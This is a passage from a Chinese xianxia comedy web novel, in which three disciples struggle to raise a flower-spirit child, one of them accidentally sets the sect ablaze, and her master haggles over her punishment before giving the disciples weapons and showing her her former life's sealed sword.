“这也不是我们生的呀!”苏林忿忿道,“他在十里坡出生,按照属地原则,得算师尊您的种!”
莫怀仁的背影似乎顿了一下,脚下生风,走得更快了。
留下苏林、冷杉和苏佑面面相觑。
“花精到底不一样啊,能认两个爹!”苏佑感叹道,“你们说,我是‘巴巴’还是‘耙耙’?”
冷杉无语地瞅了他一眼。
苏林没空回答他,因为她怀里的小家伙尿了。
“哎呀呀,怎么办,怎么办?!”苏林把手臂伸得老远,不让小妖精的尿沾染自己。
冷杉见状,说:“快快,走吧,快回去,先把他收拾好。”
“你们会带娃吗?”苏佑问。
冷杉说:“不会。”
苏林大喊:“我也不会啊!快把他拿走啊!快掉了,快掉了,我抱不住了......”
就在他们忙活的时候,飞瀑峰上,陆绍从入定状态中醒来,思忖片刻,悄然离开练功房,绕到飞瀑峰的后山。
在后山山底有一片一亩见方的池塘,这里在瀑布的背面,瀑布的水流溢出来形成的池子,跟十里坡的碧波湖相连连,池塘边的歪脖子柳树上拴着一叶窄窄的小舟。
陆绍跳到小舟上,扯开系在树干上的绳子,长篙一点,把小舟送进池塘深处,这池塘那边贴着一面山壁,小舟走到山壁下,才看见山壁和水之间有个窄窄的缝隙,堪堪能容小舟通过。
陆绍把长篙放好,伏下身,小舟凭借余力往里走。
等穿过这个极窄的口子,里面是个窄窄的水道,高度能让人坐着穿过,这水道深入山体,越往里走越冷,行到一转弯处,石壁上刻着“空寒洞”三个字。
过了这个石壁,洞身豁然开朗,里面钟乳石各型各色,是个天然的溶洞。
小舟继续往里走,水面渐渐下降,有了个平台。
陆绍系好小舟,登上平台。
那平台尽头,有个从石壁中凿出的石床,床上躺着一个人。
陆绍在那石床前定定地看了一会儿,用神识探了探,周遭一如既往的沉寂,没有任何回应。
但他能感受到空气中有了微妙的变化。
他确定结界未被破坏,犹不放心,又加了一层防护,这才离去。
陆绍从洞中出来的时候,远远地看见池塘那边伸出一个脑袋,见他出来,立马又缩了回去。
他知道那是他的妻子王芸迩派出来的人,跟踪他的。但陆绍并不介意,反正这个人是肯定突破不了他的结界的。
破得了他结界的人此时正在当甩手掌柜,把麻烦扔给了自家的便宜徒弟。
苏林他们七手八脚地给小家伙洗了澡,又找童儿要了些旧衣和牛乳,暂时解决了小花精的吃饭和穿衣问题。
“我后悔了。”苏佑满头大汗地靠在床边,看冷杉抱着小花精在房间里来回绕圈。
这小家伙刁钻得很,抱着才睡,只要坐下就哭,他们三个只好排班轮流上,比守界碑那会儿还累。
起码守界碑能抱着界碑睡,人家总不会把人一起抬走;带娃就根本睡不了一点,还得不停来回走,折腾一晚上,三个人都精疲力尽。
冷杉盯着黑眼圈,问:“我也有点后悔。”
苏佑说:“我真后悔,早知道带娃这么累,我就应该好好修行不逃课。”
冷杉催苏佑说:“你快去我床上眯一会儿,能睡一会儿是一会儿。”
苏佑哼哼唧唧地起身,说:“嗨,都怪我。灵草灵药没找见,反倒找回来个吞金兽,不但没法卖钱,还要夸夸往外扔钱,一罐牛乳一颗灵石,怎么养得起啊!”
冷杉抱着娃没言语,但把他的话记在了心里。
他估摸着苏林休息得差不多了,把娃给苏林,认真地说:“娃非要妈妈。”
苏林脑子还木着,没转过弯来,伸手就把小花精接了过来。她没养过娃,不知道小孩子的休息规律,但从昨天接下这孩子,除了喊爸爸妈妈那会儿醒来过一阵,之后一直在睡。
冷杉甩了甩胳膊,说:“我要去一趟茅湾,把筑基丹带去卖掉,我刚跟苏佑也商量了,一人一颗,先卖三颗。应该能够下个月开销和小花精的吃穿。”
他们仨财政极端紧张,赤字越来越大,急需搞钱。
苏林说:“你去吧,我跟苏佑两个轮流能对付。筑基丹我这里有六颗,你带五颗去,我留一颗就行了。”
冷杉看了看她,没多问,转身收拾东西,匆匆下山了。
不知是不是错觉,苏林觉得冷杉的背影瞧着,还真有点儿像个“巴巴”了。
苏林和苏佑带了小花精几天,发现小花精的成长时间比人类孩子要短,她听人说过小孩子“七坐八爬”,就是说小孩子七个月能坐,八个月能爬。
而小花精第七天一大早就一个翻身坐了起来,还坐得挺好;到第八天就能跌跌撞撞地爬了,相当于一天抵人类一年。而且成长速度惊人,不管是□□的成长还有灵力的成长。
苏佑感叹:“果然是精怪啊,自身实力比人类强大得多,好在他们全依赖自身,没有传承,再强大的精怪一经陨落,后面也就没有了。不像我们,能总结前人经验,一代一代传承、增强。不然的话,人类说不好早被这些妖魔精怪给灭绝了。”
苏林说:“人类灭不灭绝我不知道,我只知道要是再这样熬下去,咱们铁定灭绝。冷杉到底啥时候回来?他都去了几天了?”
苏佑有气无力的说:“算上今天,八天了。”
“咱没钱买千里传音符,不然还能问问情况。”苏林说道这里,想起了巡边的潇洒日子,看到眼前的尿片奶渍,心塞得简直要奔溃。
苏佑也好不到哪儿去,他的皮肤本来就白,黑眼圈格外明显,眼窝跟挨了两拳似的。
他耷拉着脑袋,说:“老大,你得警惕冷杉这小子。我算是发现了,这小子看着忠厚,其实满肚子坏主意,上次把咱们灌醉发誓,不然咱们在初云馆安逸得很,跑到这里来又是贴钱、又是带娃的,他八成是不想带娃,躲在茅湾不回来呢!”
苏林哪里会不知道,只是她能跟个小几十岁的孩子计较?她现在只对莫怀仁充满怨念,坚定了迟早有一天烧了这十里坡的念头。
他俩发现,带娃带得越久,负面情绪越多,简直能把穿开裆裤那时候受的欺负从记忆深处翻出来,狠狠愤恨一番,给自己
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因带娃造成的□□折磨上再加一层精神折磨。
就在他俩快支持不住,身体上反复在“不行,我要死了”、“缓一缓,我觉得又还可以了”横跳;精神上一会儿决定“坚永不原谅”,一会儿又觉得“还是算了”,快精神病了。
冷杉终于回来了。
他们那七颗筑基丹竟然卖出了比灵霄山高出两倍的价钱,还完上个月的伙食费、小家伙的费用,剩下的钱足够他们躺平一两年。
就算每个月付给古树村酬劳,他们仨月月考核最末,毫无进项,也能足够他们仨和小花精吃喝、修炼三年。
冷杉带回这一消息时,苏林都震惊了。
她早已从“狗蛋”一事中预料到周边门派的灵丹匮乏,但没想到匮乏到这种程度。
冷杉分析说:“一方面是材料不够,周围门派的灵气没有灵霄山充裕,灵草数量不多、等级不够;另外也缺炼丹师,修行这种法术的人,费钱得很,不是大家族、大门派,养不起。”
苏佑道:“还真是富的富死,穷的穷死。”
苏林不语,只一味把尿片、衣服、、口水巾、牛乳、拨浪鼓往冷杉怀里塞。
最后苏佑把小花精堆在最上面,笑中带泪地说:“好了,这下钱也有了,人也来了,接下来你带三天,我跟老大缓缓,不然我俩疯了,就彻底只剩下你一个人拉扯小喇叭了。”
“小喇叭?”冷杉低头看小花精,发现他竟然已经长得老大了。
“我不叫小喇叭,我叫朝颜,朝颜!哼!”小花精竟然能开口说话了,他看了看冷杉,一把揪住他的头发,说:“你就是我冷爸爸啊,你怎么这么久都不回来,是不是借口在外面赚钱,其实躲懒?哼!”
冷杉一滞,呵呵笑道:“这么多物资,没法一下子凑齐,就多等了几日”。
为了挽回他在小喇叭心中的形象,冷杉决定“耐心陪伴、适时鼓励”,这是他从表舅那里讨教来的带娃口诀。
他从袖子里掏出一个手帕包,说:“你看我给你带了好吃的。”
小喇叭把手帕包打开,欢呼道:“哇,好多毛毛虫!”
冷杉说:“这是桑椹,好吃的,甜甜的。”
小喇叭抓了一个尝了尝,果然好吃,笑起来,又抓了两把,只管往嘴里塞,满脸、满手都成了紫色。
冷杉没制止,只是好脾气地看着她边吃边玩。
小喇叭也发现桑椹能挤出有颜色的汁水,挤了几把,咯咯咯直笑,用手指沾着,在冷杉衣襟前画起画来。
冷杉刚要把人扔开,又深吸一口气,不断告诫自己:“情绪稳定、稳定,认真陪伴。”
他静静等小喇叭画完,还认真地看了看,小孩子还控制不好自己的手,画面很抽象,只能大概辨认出是几条曲线,两头翘,冷杉心里估摸着,可能他也不知道画的什么,但是得鼓励。
于是,冷杉一面发挥想象力,一面故作夸张地对小喇叭说:“哇,我们小喇叭会画画呀!哎呀,你画的这条小鱼真好看!”
“相加!”小喇叭突然大吼一声。
冷杉没听懂,问:“什么?”
小喇叭扭过头,不满地大喊道:“我画的香蕉!”
冷杉一听,笑起来,赶紧说:“对对对,这是香蕉,是我看错了,这根香蕉画的真好看。”
岂料小喇叭白了冷杉一眼,说:“哼!冷爸爸,不会说话就别硬瓜(夸),画成什么样,我心里没速(数)吗?做人登(真)诚点儿,行吗?。”
冷杉满脑门黑线。
23. 第 23 章
就在苏林他们三个辛辛苦苦带娃的时候,十里坡来了访客。
童儿忙去通禀。
莫怀仁昨夜被小喇叭的哭声吵得醒了几次,此时刚刚睡着,就听外面童儿喊:“师尊,师尊,外面有两个自称是纠察司的人,说是来公干,求见师尊。”
他心里的火蹭一下就起来了,掀开被子,跳下床,取了挂在架子上的外衣,一脚踹开房门,披衣敞怀,冲到正堂。
那两个纠察司的人见莫怀仁出来,忙起身行礼。
莫怀仁旋身往主座上一坐,开口道:“说吧,什么事?”
那两人中年长些的恭恭敬敬说道:“禀报师尊,我是纠察司莫正,这位是莫刚,此次来叨扰师尊,是受我们尊长所派。因昨日收到举报信,说贵宗门的亲传弟子冷杉擅自出卖本门灵丹,数额巨大,尊长令我二人来传冷杉过去问话,把事情问清楚。若没有这事,也好免得让冷师弟蒙受不白之冤。”
莫怀仁闻言冷哼一声,说:“我当时就什么要紧事,大清早来敲我的门,原来是这等鸡毛蒜皮的小事。出卖本门灵丹?本门谁不卖灵丹?什么时候有这罪名了?还数额巨大,有多大?比你家尊长的年节礼大吗?”
先开口的莫正有些尴尬,清了清嗓子说:“有人举报,我们就得查问清楚......”
“举报就得查清楚......”莫怀仁冷笑一声,“那不举报呢,不举不查?你们纠察司倒是省事得很,若是无人举报,眼见的乌七八糟的事,也转开眼看不见吗?”
两位弟子来前已做好被骂的准备,毕竟上门来要人家的亲传弟子,但此时面对莫怀仁的怒火,他俩感觉有点儿顶不住。
莫刚在一边此时见莫怀仁如此不留情面,师兄被怼得不好开口,只得出来说道:“莫师尊,您莫难为我们,我们也是奉尊长之命办差,查谁不查谁,也不是我们能说了算的,您莫要我们难办......”
莫怀仁冷静了一下,说:“我虽常年不到那边去,可这里头的名堂我清楚得很。你们回去跟胡安生说,若真要拿人,就让他亲自来,我莫怀仁在这儿等着,看他敢来不敢来。”说罢摔袖而去。
莫正莫刚面面相觑,耸了耸肩,却并不如何羞恼,等出了大门,莫正吐出一口气,道:“也好,让尊长自己来办,省得咱们麻烦。”
莫刚说:“回去还得挨尊长说,说咱俩不会办事。”
莫正笑道:“嗨,骂就骂呗,别往心里去,左耳朵进右耳朵出,就当听耳旁风。要是把人押回去了,还得交接,麻烦得很。现在时间尚早,要不咱们下山去逛逛吧,听说凌霄镇广宁楼出了新点心,好吃得很。”
“好呀好呀!”莫刚拍手赞同。
于是两人欢欢喜喜往山下去了。
一不小心,玩到快日落才回去,被尊长堵在了纠察司的花厅里。
纠察司尊长姓胡,名安生,是个微胖的中轻人,本来正跟客人喝茶,见他两人进来,虎了脸,说:“差事办的怎么样了?人呢?”
那两人本已想好如何回话,听尊长如此问,莫刚从容不迫站出来,委屈巴巴地说:“尊长,我们一早等在十里坡,好不容易见到莫师尊,可他,他让您亲自去找他。师兄还被莫师尊教训了几句。”
莫正在一边垂手不语,似是受了莫大的委屈,咬着嘴唇,险些垂下泪来。
胡安生蹙了蹙眉,他也怵莫怀仁。但当着外人,被莫怀仁驳了面子,气氛有些尴尬。
“他倒是护短。”旁边的客人正是陆绍,见状笑道:“他从前弟子也不收,什么事也不管,如今好不容易有了弟子,那还不捧在手心里,好好护着?他的性子,得顺毛捋,改天我带一坛好酒,跟你一块儿找他去。”
胡安生赶紧说:“哎呀呀,怎么能要您的酒,我那酒窖里还有几坛藏了三十年的黄酒,若您不嫌弃,等会儿让人给您送上两坛。”
“尊长你的酒是灵霄山最好的,我来了这么多次,就等您这句话,两坛可不够啊,您别跟我小气!”
尊长闻言陪笑,盲人莫刚莫正去去就,自去敷衍陆绍。
那两个纠察司弟子走后,莫怀仁因缺觉,半边脑袋一抽一抽地疼,心下烦恼之际,孩子的哭声又传来了,他简直要爆炸。
师尊的好涵养他也顾不得了,冲去客房,找他的乖徒们。
他几步冲到客房,却见客房的门大开,里面冷杉正靠在椅子上打盹,眼睛都闭上了,手却仍在拍、腿也在抖,偏偏那小娃娃还不满意,一个劲儿抓冷杉的头发,说:“抖(走)抖抖......”见冷杉没反应,扯开嗓子嚎起来。
不知是不是花精的缘故,那声音穿透力简直吓人,莫怀仁忍不住捂住耳朵,可冷杉离得那么近却全然不觉得吵,还睡得更深了。
莫怀仁这才想起月末苏林三人来找他借钱的事情,想到冷杉卖灵丹应该是为了填亏空、养花精。
他往旁边看了看,苏林那边窗户关着,苏佑的窗户没关,人正和衣睡得死沉。
莫怀仁站了站,没说什么,转身走了。
回去的路上,他一直在想,自己是否太过苛责,他们不过是十多岁的孩子,离家来此,与人周旋、努力谋生修炼,怪不容易的。
莫怀仁心下一软,转身回望,看见湛蓝的天空中出现了一条细长的黑旗杆。
他心中疑惑,不记得自家院中何时添置了这件东西。
“救火啊!”突然有人高喊。
莫怀仁听出来,这是苏林的声音。
紧接着一声不知是什么的爆炸声,只见那黑线一下子就变粗了,继而滚滚烟尘腾起,混杂着红色的火焰,瞬间遮住了房顶。
莫怀仁急忙赶过去,只见苏林手里提着一口锅、苏佑抓着一只大水瓢,冷杉抱着小孩,三个背对他站着,望着火场。
莫怀仁还想他们为什么站着不去救火,抬头一看,发现火势比他想象得大多了,整排客房都被烈火吞噬,势大得根本救不了。
“怎么这么大?”莫怀仁惊讶。
苏林他们听到声音,转过身,露出四张黑漆漆的小脸,苏林看清是莫怀仁,眼睛一亮,露出一排白牙,说:“师尊,快快快,你是火系法术,快把这些火都吸进去,救火,还能壮大实力。”
莫怀仁见那火直朝前院烧去,急了,口中道:“我是火系灵修,不是葫芦娃火娃!”说罢忙去前院方向设下结界,阻止火势蔓延。
莫怀仁的结界不如陆绍,但阻挡一般火焰是没有问题的。苏林四人跟过来,眼巴巴仰头望着那透明的结界,把火势截断。
“师尊也会结界啊!”冷杉说。
苏佑感叹:“这个结界好
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厉害!”
苏林没说话,但心中感慨,莫怀仁法力还是精深了。
“苏林!”莫怀仁施法的空档喊道,“这火是你放的?”
苏林心虚,左右看看,没有适合的顶罪人士,只好硬着头皮说:“师尊,你怎么知道?”
莫怀仁没好气地瞪了她一眼----这火跟她一样邪性,得全力应付。他没敢再分心,只想保住自己的常明堂。
可惜他守住了前院,后山失守。
十里坡每年春天像鲜花地毯一样的堤坝草地被烧成了一片焦炭,湖里还有几条跑得太慢、被烫死的鱼虾浮起来,就连结界都被烧得波动起来。
莫怀仁看着这一切,欲哭无泪,痛恨自己先前还为他们仨心软。
他恶狠狠地问:“这是怎么回事?”
冷杉怀里的小喇叭被吓住,嘴巴瘪了瘪,哇一声哭起来,冷杉忙去安抚。
苏林略带惭愧地说:“这是意外,完全是意外!你听我解释。”
莫怀仁咬着牙说:“你最好给我一个有力的解释。”
“有力?”
解释是有的,但有不有力,苏林不知道。
就是她太累了,睡前忘了吹油灯,翻身打翻了,一不小心引燃了帐子,手边的茶壶里没水,她半梦半醒中还以为自己还是闫林秀,念了个水诀,不曾想出来的是蓝色的火焰,那火焰还挺猛,一下子就把房顶烧着了,瞬间窜到了旁边两间房。
她也不知道为啥这时候小蓝火又有了,也没想到这小蓝火竟然这么厉害。
那边苏佑见冷杉一直哄不住小喇叭,怕小喇叭的哭声让莫怀仁更加生气,便顺手从河里捞了一条烤熟的小鱼,塞给小喇叭。
小喇叭还没吃过肉,试着咬了一口,被鱼肉的鲜美折服,终于止住了嚎啕,高兴地吃起来。
苏林思来想去,觉得小蓝火这里不好解释,算了,烧都烧了,还是不解释了,低头领罚。
莫怀仁见苏林不吱声,更气了。
此时,苏佑递过来一只螃蟹----这只螃蟹有巴掌大,红彤彤的,应该熟透了,挺香的。
苏佑怯怯地问:“师尊,您吃吗?”
莫怀仁真是服了,这都是些什么人!?
他赶紧闭上眼,深吸一口气,再多看乖徒一眼,他就要爆炸。
苏佑看师尊又是闭眼又是点头,心道自己还是太实诚了,干嘛问“要不要”,师尊就算要哪好意思说呢?于是他机灵地一把抓起大螃蟹,果决地塞到了师尊手里。
莫怀仁被此举惊呆,他低头看着手里的大螃蟹,一时不知如何反应。
正此时,结界上陆绍现身。
第一眼看到的是正在啃鱼的小喇叭,他反应了一下,才认出来这是那天化形的小花精。
然后入眼的是一片焦黑的堤坝,仍有余温的黑色延伸下去,直通到常明堂,这边的院墙已经被烧没了,空出一个硕大的豁口,能直接望见前厅。
这一幕让陆绍着实吃了一惊。
他把视线收回来,依次扫过苏林、苏佑、冷杉、小花精和莫怀仁,又扫过苏林手中的铁锅、苏佑怀里的水瓢、小花精啃着的烤鱼,还有莫怀仁手里抓着的红彤彤的大螃蟹。
陆绍作出了一个大胆地猜测:“你们师徒这是......宗门大野炊?”
24. 第 24 章
苏林怔怔地看着满地焦黑,还有远处几乎被烧穿的常明堂,对莫怀仁说:“师尊,我真不是故意的,我只是睡觉翻身打翻了油灯。”
莫怀仁扔了螃蟹,掸去衣服上的草木灰,淡淡地说:“放火烧山而已,又不是欺师灭祖。”
这是苏林放过的厥词,此时听来略觉尴尬。
十里坡离长门距离不近,但一个在山顶,一个在山腰,一个高、一个低,这里着火,看得一清二楚,而且还是这么壮观的火势,从上面望下去,那烟火堤坝的势头,就跟外族入侵似的。
没多久,纠察司就来人了,还是莫正和莫刚。
莫正对莫怀仁恭敬地行了礼,说:“禀报莫师尊,我是纠察司莫正,这位是莫刚。此次来叨扰师尊,是受我们尊长所派。因刚才收到举报,说贵宗门有人纵火,火情眼中,导致损失巨大,尊长令我二人来传纵火者,弄清事情原委,追究相关责任。若有其他隐情,也好说清楚,免得让人蒙受不白之冤。”
莫怀仁没言语,眼风朝旁边的苏林一扫,毫无心理障碍地把罪魁祸首供了出去。
莫正心领神会,上前问苏林:“这位师妹,如何称呼?”
不知怎么的,苏林听到“纠察司”三个字就不爽,听他这一长串话,觉得腻味,明明是第一次听到,就是非常反感。
只能猜测又踩中了闫林秀的雷。
她心想:你多大呢,跟谁妹呢?
苏林不爽地说:“苏林。”
莫正得了名字,点头道:“苏林,请跟我们走一趟。”
苏林脸都黑了,回头看莫怀仁,没想到这家伙竟然转过身,拿背对着他们。
这是摆明了不想拉她一把,这绝情的师尊呵~
莫刚莫正也瞧见了这一幕,莫师尊跟上次的态度截然不同,人应该能顺利带走。两人视线一碰,略带喜色。
苏林还想争辩几句,抬头猛然发现,远处出现一缕青烟,直冲云霄,她心想不会是哪里的火星蹦出去引燃了其他地方吧?
这个念头才升起,转头望见背后也燃起烟火。
不是吧,这十里坡是个漏勺吗?火是从哪里漏出去的?
这下祸闯大了,如果只是烧了个十里坡,还能内部解决,烧到外面,就不好办了。
她可怜巴巴回看了一眼自家师尊,师尊不语,只一味在整理仪容,苏林无奈,只能乖乖跟着莫刚莫正去纠察司。
她以为不过是纠察司长官问问话,没想到纠察司尊长胡安生亲自接待,更没想到除了胡尊长,大堂上还坐了一圈人。
胡安生像个花蝴蝶一样穿梭在堂上,苏林有种错觉,他主要是服务观众,抽空问她几句“案情”,而且堂上气氛不怎么严肃,反而怪和谐的。
一个须发皆白的老头子上下打量这苏林,说:“小苏啊,瞧你小小的,本事倒不小,把我们长门的账房给点了,你怎么说啊?”
苏林也吃了一惊:不是吧,这小蓝火这么厉害,竟从十里坡烧到了长门!长门可不比十里坡,师尊长老一大堆,都没把火扑灭,那些小蓝火有点名堂啊!
难怪纠察司尊长亲自下场,难怪来了这么都人围观。
她尬笑了两声,心说烧了就烧了呗,还说什么?只好没话找话说:“不知那长门账房在哪里?”
老头子说:“就在十里坡旁边,碧波湖对岸。”
苏林一听,险些跳起来,说:“有没有搞错,隔着那么大一个湖,烧到你们那边去?人家飞瀑峰都没烧,火能跳过去?绕过去?只烧长门?”
此时,飞瀑峰代表陆绍师尊摸了摸鼻子,说:“那个,是的,我们的库房也被烧了。”
苏林张大嘴,不敢置信地看向陆绍。
此时白马湖代表出声道:“对对对,我们的草料房也被烧了!哎呀呀,可吓死了不少灵兽、好马,损失惨重。”
百药谷代表忙附和:“我们那儿灵草灵药也烧了好多。”
“你们也烧了呀?”
“对的,我们不多,没你们多。”
“哎呀,都差不多,差不多。”
“就是,那火可真大!”
苏林都惊呆了,她这才意识到自己是被一圈受害者围住声讨,但大家声讨归声讨,没有气恼动怒,反而喜气洋洋的。
她终于回过味来,冷笑了几声,说:“呵,和我这一把火把灵霄山全给点燃了?山头那么多师尊长老,呼风唤雨都不在话下,灭个火,不是大炮打蚊子吗?我干什么了?我就睡觉翻了个身,就得背起这么大一口锅?”
“哎,你怎么能这么说呢?你就说,这火,是不是你引起的?”胡安生问。
苏林咬着牙,没法回答。
长门老头说:“小苏啊,年轻人,谁人不犯错呢?知错能改,善莫大焉。况且你还年轻,受个处罚,没几年就过去了。”
旁边又有个人来劝,说:“就是,人不是都说,不受处分不提拔吗?”
苏林不干,说:“不能这么欺负人!”
胡安生也过来劝,低声道:“没事,你别紧张,不过是几板子......”
正在这时候,门口光线暗了一下,旁边守门的童儿通报:“长门十里坡莫师尊到。”
莫怀仁已经换了一身干净衣服,连头发都洗过了。
他的亲传弟子受审,他自然要来的。
莫怀仁不急不忙走到自己座次上,坐下端起茶,见场上人都只顾看着他,说:“抱歉,来迟了。你们继续。”
苏林看见莫怀仁,心头一热,心想:他好歹还有点人性,知道来捞我一把。
于是,她对着莫怀仁喊:“师尊,救我,他们要把所有的罪名都安在我头上,说我烧了长门的账房,烧了白马湖的库房,还烧了,烧了什么呀?反正就是他们的库房、账房、草料房什么的,全被我烧了。他们欺负人!”
场面略有些冷场,在座师长自知不太地道,纷纷低头去喝茶。
莫怀仁没理苏林,反而问纠察司胡安全:“怎么个判法”。
胡安全赶紧放下茶杯,恭恭敬敬的对答道:“苏林,此次啊,造成的火灾一共蔓延了七处,烧毁的物资、损失巨大,所以呀,是要重罚的;但念在她是初犯,认罪态度良好,而且有补救措施。所以呢,也有减轻。最后判下来,嗯,禁闭一个月,罚半年俸禄,然后杖三十。”
苏林支棱着耳朵认真听着,胡安生说一条,她就闷
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声点评一条,关禁闭无所谓,俸禄她已经不需要了,反正以前也没有,杖三十应该能顶住。
没想到这么大的的罪过,只判了这么一点,她惊讶之余,觉得自己方才的反应有点儿大惊小怪了。
苏林稍稍安下心来,也不急也不争了。
她都开始反省自己真是太冲动、情绪太不稳定了、形象太不好看了。
“您看,怎么样?”胡安生问莫怀仁。
莫怀仁端杯道:“诸位的意见呢?”
众人默契地看向长门代表。
长门老头子说:“呵呵,不知你的意见是?”
苏林看众人这么给莫怀仁面子,心下更有底了,希望莫怀仁猜到她现在最不爱一个人关着,禁闭时间短些,最好不关。
“禁闭这条不合适。”莫怀仁说。
漂亮!
苏林默默期望:一个月太长了,三天差不多了。
只见莫怀仁举起三根手指,说:“三个月。”
苏林瞳孔地震,不敢置信地看向自家师尊。
那长门老头想了想,咬牙说:“两个月。”
苏林都懵了,不是,你那么艰难做什么?关禁闭是我啊?
还有,你们是不是对自己的身份有什么误解,这讨价还价双方不大对头啊!
莫怀仁也蹙了蹙眉,勉为其难地说:“可以。”
苏林都不敢相信自己的耳朵,有这么捞人、有这么还价的吗?
莫怀仁又对陆绍说:“俸禄罚一年。”
陆绍毫无心里负担地笑道:“可以。”
苏林张开的嘴没有闭上。
莫怀仁再对白马湖代表说:“杖三百?”
陆绍嘴里一口茶都喷出来了。
旁边胡安生提醒的道:“三百就快打死了。”
莫怀仁瞥了苏林一眼,说:“她皮厚。”
苏林已经不想挣扎了,死猪不怕开水烫了,淡漠地表情面对这残酷的世界。
白马湖代表忙道:“不至于,不至于,最多六十,不能再多了。”
莫怀仁说:“你那草料房可是百年前的老库房了,藏了多少奇珍异宝,还有这么多灵兽宝马,一把火都烧没了,什么都没留下,那宝马连个留种都没有了,这么大是损失,怎么能不重罚呢?”
白马湖代表闻言暗暗擦汗。
莫怀仁还要说话,白马湖代表忙抬手制止,说:“五十五,不能再多了。你那么大个十里坡,还在乎这五板子?”
莫怀仁说:“是啊,你那么大个白马湖,还在乎这五板子?”
白马湖代表被怼得张口结舌。
最终,在众人劝说下,苏林的杖数从三十谈成了五十。
她已经看出来了,他们哪里是来追究责任,莫怀仁哪里是来捞人,分明是在谈判。
那一盏小油灯能烧了十里坡已经算是意外,怎么可能烧了整个灵霄山?还那么巧全烧的账房、库房?
这把火他们不知期盼了多久,烧了满山的烂账。
而她,很不巧地成为了这场利益场上的筹码。
苏林很惆怅,也有点儿好奇,不知道莫怀仁拿她换了什么,自己的牺牲值不值。
25. 第 25 章
这一夜,莫怀仁没有睡着。
他想了一晚上,决定给弟子们发钱。
苏佑和冷杉搞不懂自家师尊的脑回路,怎么恭恭敬敬的,人家爱答不理;一把火把他家烧了,反而发奖励?
苏林懂。
她虽然被莫怀仁完完整整地领回来了,但一年俸禄已免,身负两个月禁闭、五十杖板子记录在册,就像悬在头顶的剑,随时随地可能掉下来。
她恨恨地想:怎么纠察司的功德簿没给烧了呢?
自己换的钱,自己用天经地义。
苏林拉着苏佑和冷杉、抱着小喇叭欢欢喜喜去领钱。
莫怀仁指着三个大箱子,说:“从今往后,我那份物资全部交给你们。你们三人的吃喝用度,一律从公中出。另外,今后若有其他难处,别自己在那儿发愁,你们是我的弟子,我自会好好看顾。”
他这几句话说得底下三人心热热的。
但冷杉发现莫师尊仍没有提修炼的事情,心中不免有些失望。
苏林打开箱子,脸都被珍珠、黄金的光芒照得发亮,心中委屈少了大半,觉得莫怀仁这人也还不错,至少大方,而且到底年纪大些了,知道心疼人了。
莫怀仁站起身,对众人道:“你们跟我来。”
冷杉被推到最前面,离莫怀仁最近的位置,然后是苏佑,苏林坠在最后,跟着莫怀仁进了库房。
莫怀仁说:“你们来十里坡,我送给你们一人一件兵器,作为见面礼。不知你们各人的喜好,索性让你们自己去挑。”
他指着偌大一间库房的兵器说:“这里面的,你们喜欢哪件就挑哪件吧!”
苏林认真看了,不禁惊呼:“哦豁,都是灵器,还都是上等货!”
想当年她还是闫林秀那会儿,想弄把本命飞剑,费了多少力气。
到了莫怀仁这里,竟然白给。
苏林默默流泪:莫怀仁到底拿她换了什么呀?这么大方。
苏林穿过兵器架子往里走,仓库最里面有一扇窗户,明亮的阳光从窗外照进来,微风吹动竹影,光影摇曳着轻轻地拍打墙上的一把长剑,似乎在召唤苏林。
苏林走到跟前,看见这把“朴正”,心中涌起千层浪----这是闫林秀的本命剑。
原来还有人记得她。
“这是一把认主的灵剑。”莫怀仁突然出现在她身后。
苏林收敛心神,貌似嫌弃地皱了皱鼻子,问:“真丑。我能看看它吗?”
“朴正”是真丑,那时候闫林秀对自己认识得很清楚,不管是家世、修为、样貌没一样可以仰仗的,于是只想着平平凡凡,打了这把十分寻常的剑,又找了个十分不起眼的剑鞘,名字也用了个无功无过的“朴正”。
其实她哪里不希望自己也有一把莫怀仁那样神气的“麟火”、王芸迩那样飘逸灵动的“千华”呢?
莫怀仁听她说丑,斥道:“故人遗物,岂容你胡言。”
苏林满不在乎,心道:江山易改禀性难移,装也装不来多久。
莫怀仁察觉自己语气不好,叹了口气,视线仍停留在那把剑上,说:“我生来性情急躁,做坏了许多事,等明白过来,有些事没法改变了,只能让今后少犯些错,就给自己定了个规矩,如果想发怒,就在心里默数五下,若是心平气和了,就好好说;若是还生气,那就大大地发脾气。”
苏林在一边听着,觉得这话似乎不是对她说的。
“这把剑的主人修的水灵,所以灵气内敛。”莫怀仁说,
“温柔多情。”
苏林听他前半句,知他在解释这把剑并不出众的外形,可后半句,不大对劲。
她问:“师尊,您这后一句说的是剑、还是人啊?”
莫怀仁稍一愣,似乎回想起什么,说:“可惜这把剑被封印了,即便是我,试了这些年也没打开。”
苏林听到“封印”二字,吃了一惊。
莫怀仁说:“你可以摸摸。”
苏林上前取下剑来,一试,果然拔不动。
原来这些年她心中的疑问不是无中生有,零星的记忆里,她总是一遍遍朝毒龙挥剑,毒龙却总不死,反倒是她一遍遍被毒龙残杀。
从前她以为是梦境,此时才确定是现实投射在梦境中,闫林秀的剑被人暗中下了封印术,还是很高妙的封印术。
苏林把剑扔给莫怀仁,有点无奈:上辈子那么小心翼翼,竟然还有人看她不过,下了黑手。
不知是不是错觉,莫怀仁似乎有几分失望。
她往后退了两步,脚后跟碰到椅子腿,正好一屁-股坐在了太师椅上----奇怪得很,在这里放了一把椅子,她头往靠椅背上一靠,视线正好落“朴正”挂的位置。
莫怀仁把剑挂回原处。
苏林看他郑重小心的样子,心下不是滋味,没想到会是他留着自己的剑,口中胡乱说道:“修行什么的,我没什么兴趣,这辈子只要逍遥快活,随心所欲就好。”
莫怀仁反问:“逍遥快活?随心所欲?”
“莫师尊,你出生世家,灵力又高,又有名师指导,如今修为高的一塌糊涂,一定很逍遥快活,随心所欲吧。”苏林想转开话题。
莫怀仁难得心情不错,略带笑意地看着她,说:“你从哪里听来的,哪有什么随心所欲?好好修行是正经。”
“不修了,不修了,累死了。”苏林说:“反正修了也就那样。”
莫怀仁摇摇头,说:“什么叫也就那样?若是你有想要保护的人,却眼睁睁看着人家死在面前,你就知道‘就那样’有多糟。”
苏林听了他这话,抬眼仔细看了莫怀仁一眼,见他神色黯然,不知怎么,她竟有些无措,倒像是自己犯了错,想赶紧刹住这严肃的气氛,于是故意岔开话题。
“莫师尊,你是不是对这位故人......”苏林指着“朴正”八卦道。
莫怀仁听了这话,也是一惊,不知怎么,突然暴躁起来,一巴掌把苏林扇到趴下,说:“快去选兵器!脑子里成天装些什么?”
“哎哟!”苏林抱着头嘟囔:“您绷也绷久一点儿嘛,怎么动手呢,好歹对得住喊你一声师尊啊!”
